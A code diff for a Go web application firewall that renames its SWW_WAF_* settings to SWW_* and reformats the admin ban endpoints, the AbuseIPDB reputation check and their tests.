||||||
path := filepath.Join(dir, "bans.json")
|
path := filepath.Join(dir, "bans.json")
|
||||||
|
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
//nolint:gosec // a file in the test's directory
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read bans.json: %v", err)
|
t.Fatalf("read bans.json: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1566,7 +1689,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantRefused checks that waf at url refuses a request from localhost with
|
// wantRefused checks that waf at url refuses a request from localhost with
|
||||||
// 403, the default SWW_WAF_BAN_RESPONSE.
|
// 403, the default SWW_BAN_RESPONSE.
|
||||||
func wantRefused(t *testing.T, url string) {
|
func wantRefused(t *testing.T, url string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -1590,7 +1713,11 @@ func wantStatus(t *testing.T, url, from string, status int) {
|
|||||||
// request, since sww may not watch its directory yet when it is
|
// request, since sww may not watch its directory yet when it is
|
||||||
// first written. It waits as long as that takes, so that a slow test
|
// first written. It waits as long as that takes, so that a slow test
|
||||||
// process cannot fail the test.
|
// process cannot fail the test.
|
||||||
func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
|
func saveUntilAnswered(
|
||||||
|
t *testing.T,
|
||||||
|
path, content, url, from string,
|
||||||
|
status int,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for {
|
for {
|
||||||
@@ -1607,8 +1734,8 @@ func saveUntilAnswered(t *testing.T, path, content, url, from string, status int
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// destination is a stand-in for SWW_WAF_ALERT_SLACK_WEBHOOK_URL or
|
// destination is a stand-in for SWW_ALERT_SLACK_WEBHOOK_URL or
|
||||||
// SWW_WAF_ALERT_NTFY_URL. It notes each request it is sent, and answers
|
// SWW_ALERT_NTFY_URL. It notes each request it is sent, and answers
|
||||||
// 200.
|
// 200.
|
||||||
type destination struct {
|
type destination struct {
|
||||||
url string
|
url string
|
||||||
@@ -1667,7 +1794,7 @@ func (d *destination) firstPost(t *testing.T) destinationPost {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// webhook is a stand-in for SWW_WAF_ALERT_WEBHOOK_URL. It notes each alert
|
// webhook is a stand-in for SWW_ALERT_WEBHOOK_URL. It notes each alert
|
||||||
// it is sent, and answers 204, or 503 while failing.
|
// it is sent, and answers 204, or 503 while failing.
|
||||||
type webhook struct {
|
type webhook struct {
|
||||||
url string
|
url string
|
||||||
@@ -1722,7 +1849,11 @@ func startWebhook(t *testing.T) *webhook {
|
|||||||
// waitFor waits until the webhook has been sent an alert for event that
|
// waitFor waits until the webhook has been sent an alert for event that
|
||||||
// it took, or, unless answered, failed, and returns it. It waits as long
|
// it took, or, unless answered, failed, and returns it. It waits as long
|
||||||
// as that takes, so that a slow test process cannot fail the test.
|
// as that takes, so that a slow test process cannot fail the test.
|
||||||
func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
|
func (w *webhook) waitFor(
|
||||||
|
t *testing.T,
|
||||||
|
event string,
|
||||||
|
answered bool,
|
||||||
|
) webhookPost {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for {
|
for {
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"testing"
|
"testing"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
// The time zone database, so that the process TestMainRunsWAF starts
|
// The time zone database, so that the process TestMainRunsWAF starts
|
||||||
// finds the zone TZ names on any host.
|
// finds the zone TZ names on any host.
|
||||||
_ "time/tzdata"
|
_ "time/tzdata"
|
||||||
@@ -85,7 +86,8 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
out := &output{}
|
out := &output{}
|
||||||
cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary
|
//nolint:gosec // this test binary
|
||||||
|
cmd := exec.CommandContext(t.Context(), binary)
|
||||||
cmd.Stdout = out
|
cmd.Stdout = out
|
||||||
|
|
||||||
cmd.Env = append(os.Environ(),
|
cmd.Env = append(os.Environ(),
|
||||||
@@ -112,7 +114,11 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
t.Fatalf(
|
||||||
|
"exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
@@ -123,7 +129,8 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
|
|
||||||
path := filepath.Join(dir, "clients.json")
|
path := filepath.Join(dir, "clients.json")
|
||||||
|
|
||||||
clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
//nolint:gosec // a file in the test's directory
|
||||||
|
clients, err := os.ReadFile(path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read clients.json: %v", err)
|
t.Fatalf("read clients.json: %v", err)
|
||||||
}
|
}
|
||||||
@@ -181,7 +188,11 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
|
|||||||
|
|
||||||
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
|
for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
|
||||||
if !strings.Contains(stderr.String(), name) {
|
if !strings.Contains(stderr.String(), name) {
|
||||||
t.Errorf("stderr %q does not name %s", stderr.String(), name)
|
t.Errorf(
|
||||||
|
"stderr %q does not name %s",
|
||||||
|
stderr.String(),
|
||||||
|
name,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -219,8 +230,13 @@ func ask(t *testing.T, addr, path string, status int, disposition string) {
|
|||||||
|
|
||||||
if res.StatusCode != status ||
|
if res.StatusCode != status ||
|
||||||
res.Header.Get(waf.DispositionHeader) != disposition {
|
res.Header.Get(waf.DispositionHeader) != disposition {
|
||||||
t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode,
|
t.Errorf(
|
||||||
res.Header.Get(waf.DispositionHeader), status, disposition)
|
"answered %d with disposition %q, want %d with %q",
|
||||||
|
res.StatusCode,
|
||||||
|
res.Header.Get(waf.DispositionHeader),
|
||||||
|
status,
|
||||||
|
disposition,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -245,7 +261,11 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
t.Fatalf(
|
||||||
|
"exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
|
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -16,17 +16,21 @@ import (
|
|||||||
|
|
||||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||||
// the score, when its score of the client is a hit, and refuses the request
|
// the score, when its score of the client is a hit, and refuses the request
|
||||||
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||||
// checked in the background, by the request's address, if its history counts
|
// checked in the background, by the request's address, if its history counts
|
||||||
// an offence, and the request does not wait for the answer. The score is then
|
// an offence, and the request does not wait for the answer. The score is then
|
||||||
// used for each address of the client. Its figures are the score and
|
// used for each address of the client. Its figures are the score and
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
// SWW_ABUSEIPDB_MIN_SCORE.
|
||||||
type abuseIPDB struct{}
|
type abuseIPDB struct{}
|
||||||
|
|
||||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||||
|
|
||||||
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
func (abuseIPDB) check(
|
||||||
|
ctx context.Context,
|
||||||
|
rq *request,
|
||||||
|
_ time.Time,
|
||||||
|
) *verdict {
|
||||||
if rq.h.config.AbuseIPDBKey == "" {
|
if rq.h.config.AbuseIPDBKey == "" {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -42,8 +46,13 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
|||||||
|
|
||||||
rq.abuseIPDBHit = true
|
rq.abuseIPDBHit = true
|
||||||
rq.addTag(config.AbuseIPDBTag)
|
rq.addTag(config.AbuseIPDBTag)
|
||||||
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
rq.noteHit(
|
||||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE")
|
bans.ReputationHit{
|
||||||
|
Source: reputation.AbuseIPDBSource,
|
||||||
|
Score: &score,
|
||||||
|
},
|
||||||
|
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
|
||||||
|
)
|
||||||
|
|
||||||
if rq.h.config.ReputationAction != deny {
|
if rq.h.config.ReputationAction != deny {
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
+48
-12
@@ -31,7 +31,8 @@ var (
|
|||||||
errNotBanToAdd = errors.New(
|
errNotBanToAdd = errors.New(
|
||||||
"the body is not a JSON object of netblock, duration and reason")
|
"the body is not a JSON object of netblock, duration and reason")
|
||||||
errNotNetblock = errors.New(
|
errNotNetblock = errors.New(
|
||||||
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
|
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
|
||||||
|
)
|
||||||
errMappedNetblock = errors.New(
|
errMappedNetblock = errors.New(
|
||||||
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
|
||||||
errZone = errors.New("has a zone, which a netblock cannot have")
|
errZone = errors.New("has a zone, which a netblock cannot have")
|
||||||
@@ -51,7 +52,7 @@ func (rq *request) answerHealth() {
|
|||||||
|
|
||||||
// answerAdmin answers a request for one of waf's own endpoints. Each
|
// answerAdmin answers a request for one of waf's own endpoints. Each
|
||||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||||
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
|
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||||
// path does.
|
// path does.
|
||||||
func (rq *request) answerAdmin() {
|
func (rq *request) answerAdmin() {
|
||||||
@@ -61,10 +62,18 @@ func (rq *request) answerAdmin() {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case token == "":
|
case token == "":
|
||||||
http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
|
http.Error(
|
||||||
|
rq.out,
|
||||||
|
http.StatusText(http.StatusNotFound),
|
||||||
|
http.StatusNotFound,
|
||||||
|
)
|
||||||
case !hasToken(rq.in, token):
|
case !hasToken(rq.in, token):
|
||||||
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
rq.out.Header().Set("WWW-Authenticate", "Bearer")
|
||||||
http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
|
http.Error(
|
||||||
|
rq.out,
|
||||||
|
http.StatusText(http.StatusUnauthorized),
|
||||||
|
http.StatusUnauthorized,
|
||||||
|
)
|
||||||
default:
|
default:
|
||||||
answer()
|
answer()
|
||||||
}
|
}
|
||||||
@@ -150,7 +159,9 @@ func (rq *request) addBan() {
|
|||||||
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
// readBanToAdd reads the body of POST BansPath: a JSON object with
|
||||||
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
// nothing but whitespace after it, in at most banBodyMaxBytes.
|
||||||
func (rq *request) readBanToAdd() (banToAdd, error) {
|
func (rq *request) readBanToAdd() (banToAdd, error) {
|
||||||
data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
|
data, err := io.ReadAll(
|
||||||
|
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
|
||||||
|
)
|
||||||
rq.requestBytes = int64(len(data))
|
rq.requestBytes = int64(len(data))
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -170,7 +181,10 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
|
|||||||
// Token returns io.EOF only when nothing but whitespace is left.
|
// Token returns io.EOF only when nothing but whitespace is left.
|
||||||
_, err = decoder.Token()
|
_, err = decoder.Token()
|
||||||
if !errors.Is(err, io.EOF) {
|
if !errors.Is(err, io.EOF) {
|
||||||
return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
|
return banToAdd{}, fmt.Errorf(
|
||||||
|
"%w: more follows the object",
|
||||||
|
errNotBanToAdd,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return toAdd, nil
|
return toAdd, nil
|
||||||
@@ -185,7 +199,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
|||||||
netblock, err := netip.ParsePrefix(value)
|
netblock, err := netip.ParsePrefix(value)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if netblock.Addr().Is4In6() {
|
if netblock.Addr().Is4In6() {
|
||||||
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
|
return netip.Prefix{}, fmt.Errorf(
|
||||||
|
"netblock %q %w",
|
||||||
|
value,
|
||||||
|
errMappedNetblock,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return netblock, nil
|
return netblock, nil
|
||||||
@@ -195,7 +213,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
|
|||||||
// 2001:db8::1%x/48 as part of the zone.
|
// 2001:db8::1%x/48 as part of the zone.
|
||||||
addr, err := netip.ParseAddr(value)
|
addr, err := netip.ParseAddr(value)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
|
return netip.Prefix{}, fmt.Errorf(
|
||||||
|
"netblock %q %w",
|
||||||
|
value,
|
||||||
|
errNotNetblock,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if addr.Zone() != "" {
|
if addr.Zone() != "" {
|
||||||
@@ -214,7 +236,11 @@ func expiry(duration string, now time.Time) (time.Time, error) {
|
|||||||
|
|
||||||
length, err := config.ParseDurationNotOff(duration)
|
length, err := config.ParseDurationNotOff(duration)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
|
return time.Time{}, fmt.Errorf(
|
||||||
|
"duration %q %w",
|
||||||
|
duration,
|
||||||
|
errNotDuration,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
return now.Add(length), nil
|
return now.Add(length), nil
|
||||||
@@ -233,7 +259,11 @@ func (rq *request) liftBans() {
|
|||||||
|
|
||||||
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
lifted := rq.h.ledger.Lift(client, rq.h.now())
|
||||||
if len(lifted) == 0 {
|
if len(lifted) == 0 {
|
||||||
http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
|
http.Error(
|
||||||
|
rq.out,
|
||||||
|
"no ban is active on "+client.String(),
|
||||||
|
http.StatusNotFound,
|
||||||
|
)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -261,7 +291,9 @@ func (rq *request) showClient() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
|
answer := clientAnswer{
|
||||||
|
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
|
||||||
|
}
|
||||||
|
|
||||||
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
|
||||||
if seen {
|
if seen {
|
||||||
@@ -294,7 +326,11 @@ func (rq *request) answerBans(held []bans.Ban) {
|
|||||||
func (rq *request) answerJSON(value any) {
|
func (rq *request) answerJSON(value any) {
|
||||||
body, err := json.MarshalIndent(value, "", " ")
|
body, err := json.MarshalIndent(value, "", " ")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
|
rq.h.processLog.Error(
|
||||||
|
"encoding an answer failed",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
|
||||||
http.StatusInternalServerError)
|
http.StatusInternalServerError)
|
||||||
|
|
||||||
|
|||||||
+116
-30
@@ -17,8 +17,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
|
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
||||||
// how a request carries it.
|
// how a request carries it.
|
||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
adminBearer = "Bearer " + adminSecret
|
adminBearer = "Bearer " + adminSecret
|
||||||
@@ -32,20 +32,37 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// The metrics token is set, and opens none of them.
|
// The metrics token is set, and opens none of them.
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
|
s, clk, server := startWithClock(
|
||||||
server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
|
t,
|
||||||
bans.Notes{})
|
"",
|
||||||
|
map[string]string{metricsToken: token},
|
||||||
|
)
|
||||||
|
server.Ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix(otherClient+"/32"),
|
||||||
|
clk.Now(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
before := server.Ledger.Snapshot()
|
before := server.Ledger.Snapshot()
|
||||||
|
|
||||||
// An empty token does not match the unset one either.
|
// An empty token does not match the unset one either.
|
||||||
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
|
||||||
for _, e := range adminEndpoints() {
|
for _, e := range adminEndpoints() {
|
||||||
s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
|
s.ownEndpointRequest(
|
||||||
|
authorization,
|
||||||
|
e.method,
|
||||||
|
e.path,
|
||||||
|
e.body,
|
||||||
|
http.StatusNotFound,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
||||||
t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
|
t.Errorf(
|
||||||
|
"the bans are now\n%+v\nwant them unchanged\n%+v",
|
||||||
|
after,
|
||||||
|
before,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -67,22 +84,44 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
|||||||
for _, authorization := range []string{
|
for _, authorization := range []string{
|
||||||
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
|
||||||
} {
|
} {
|
||||||
got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
|
got := s.ownEndpointRequest(
|
||||||
http.StatusUnauthorized)
|
authorization,
|
||||||
|
e.method,
|
||||||
|
e.path,
|
||||||
|
e.body,
|
||||||
|
http.StatusUnauthorized,
|
||||||
|
)
|
||||||
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
if got.header.Get("WWW-Authenticate") != "Bearer" {
|
||||||
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
|
t.Errorf(
|
||||||
e.method, e.path, authorization)
|
"%s %s with %q was answered without WWW-Authenticate: Bearer",
|
||||||
|
e.method,
|
||||||
|
e.path,
|
||||||
|
authorization,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
|
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
|
||||||
t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
after,
|
||||||
e.method, e.path, after, before)
|
before,
|
||||||
|
) {
|
||||||
|
t.Errorf(
|
||||||
|
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
|
||||||
|
e.method,
|
||||||
|
e.path,
|
||||||
|
after,
|
||||||
|
before,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
got := s.admin(e.method, e.path, e.body, http.StatusOK)
|
||||||
if got.header.Get("Content-Type") != "application/json" {
|
if got.header.Get("Content-Type") != "application/json" {
|
||||||
t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
|
t.Errorf(
|
||||||
|
"%s %s answered %q",
|
||||||
|
e.method,
|
||||||
|
e.path,
|
||||||
|
got.header.Get("Content-Type"),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -121,7 +160,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
|
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
|
||||||
http.StatusOK), want)
|
http.StatusOK), want)
|
||||||
|
|
||||||
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
line := s.get(
|
||||||
|
client,
|
||||||
|
http.StatusForbidden,
|
||||||
|
requestlog.ActionTemporarilyBanned,
|
||||||
|
)
|
||||||
if line.BanExpires != requestlog.FormatTime(expires) {
|
if line.BanExpires != requestlog.FormatTime(expires) {
|
||||||
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
|
||||||
}
|
}
|
||||||
@@ -129,7 +172,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
// Its notes count the request it refused.
|
// Its notes count the request it refused.
|
||||||
want.Notes.Requests, want.Notes.Refused = 1, 1
|
want.Notes.Requests, want.Notes.Refused = 1, 1
|
||||||
|
|
||||||
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
|
wantBans(
|
||||||
|
t,
|
||||||
|
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
|
||||||
|
want,
|
||||||
|
)
|
||||||
|
|
||||||
// Ten minutes on, lifting the bans on client lifts that one, which is
|
// Ten minutes on, lifting the bans on client lifts that one, which is
|
||||||
// kept, marked lifted.
|
// kept, marked lifted.
|
||||||
@@ -141,10 +188,19 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
|||||||
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
|
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
|
||||||
http.StatusOK), want)
|
http.StatusOK), want)
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
|
wantBans(
|
||||||
|
t,
|
||||||
|
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
|
||||||
|
want,
|
||||||
|
)
|
||||||
|
|
||||||
// No ban on it is active any more.
|
// No ban on it is active any more.
|
||||||
s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
|
s.admin(
|
||||||
|
http.MethodDelete,
|
||||||
|
waf.BansPath+"/"+client,
|
||||||
|
"",
|
||||||
|
http.StatusNotFound,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||||
@@ -173,7 +229,9 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
|||||||
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
|
||||||
"\r\n"
|
"\r\n"
|
||||||
want := state.BanEntry{
|
want := state.BanEntry{
|
||||||
Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
|
Netblock: netip.MustParsePrefix(
|
||||||
|
tc.want,
|
||||||
|
), Start: start, Cause: bans.CauseAdmin,
|
||||||
}
|
}
|
||||||
|
|
||||||
if tc.length != 0 {
|
if tc.length != 0 {
|
||||||
@@ -181,15 +239,22 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
|||||||
want.Expires = &expires
|
want.Expires = &expires
|
||||||
}
|
}
|
||||||
|
|
||||||
wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
|
wantBans(
|
||||||
want)
|
t,
|
||||||
|
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
|
s, _, server := startWithClock(
|
||||||
|
t,
|
||||||
|
"",
|
||||||
|
map[string]string{adminToken: adminSecret},
|
||||||
|
)
|
||||||
|
|
||||||
for _, tc := range []struct{ body, want string }{
|
for _, tc := range []struct{ body, want string }{
|
||||||
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
|
||||||
@@ -254,7 +319,12 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
|||||||
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
|
got := s.admin(http.MethodPost, waf.BansPath, tc.body,
|
||||||
http.StatusBadRequest)
|
http.StatusBadRequest)
|
||||||
if !strings.Contains(string(got.body), tc.want) {
|
if !strings.Contains(string(got.body), tc.want) {
|
||||||
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
|
t.Errorf(
|
||||||
|
"%.80s was answered %q, want it to say %q",
|
||||||
|
tc.body,
|
||||||
|
got.body,
|
||||||
|
tc.want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -276,7 +346,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
|
|||||||
// limit of two a minute, and bans it.
|
// limit of two a minute, and bans it.
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(
|
||||||
|
otherClient,
|
||||||
|
http.StatusForbidden,
|
||||||
|
requestlog.ActionClientIsRateLimited,
|
||||||
|
)
|
||||||
